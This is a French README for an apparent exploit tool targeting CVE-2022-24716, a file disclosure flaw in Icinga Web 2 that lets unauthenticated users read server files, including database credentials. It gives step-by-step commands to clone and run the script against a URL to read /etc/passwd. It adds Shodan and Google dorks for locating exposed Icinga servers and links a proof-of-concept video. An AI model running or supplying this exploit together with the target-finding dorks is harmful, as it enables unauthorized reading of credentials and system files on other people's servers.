CVE-2022-24716

Vulnérabilité de divulgation de fichiers arbitraires dans Icinga Web 2 <2.8.6, <2.9.6, <2.10

Icinga Web 2 est une interface web de surveillance open source, un framework et une interface en ligne de commande. Les utilisateurs non authentifiés peuvent divulguer le contenu de fichiers du système local accessibles à l'utilisateur du serveur web, y compris les fichiers de configuration icingaweb2 contenant des identifiants de base de données. Ce problème a été résolu dans les versions 2.9.6 et 2.10 d'Icinga Web 2. Les identifiants de base de données devraient être renouvelés.

Clone et utilisation

1. git clone https://github.com/doosec101/CVE-2022-24716.git
2. cd CVE-2022-24716
3. pip3 install -r requirements.txt
4. python3 CVE-2022-24716.py -u https://example.com -p /etc/passwd

Note:-

Il est recommandé d'indiquer le chemin vers /etc/passwd, afin que le script vous informe si l'URL donnée est vulnérable ou non.

Dorks:-

• Shodan: http.title:"Icinga" , https://www.shodan.io/search?query=%22Icinga%22
• Google: intitle:"Icinga"

POC:-

https://user-images.githubusercontent.com/128431701/227827785-938f038b-6d17-4a5d-81d9-8399a4b1ccd3.mp4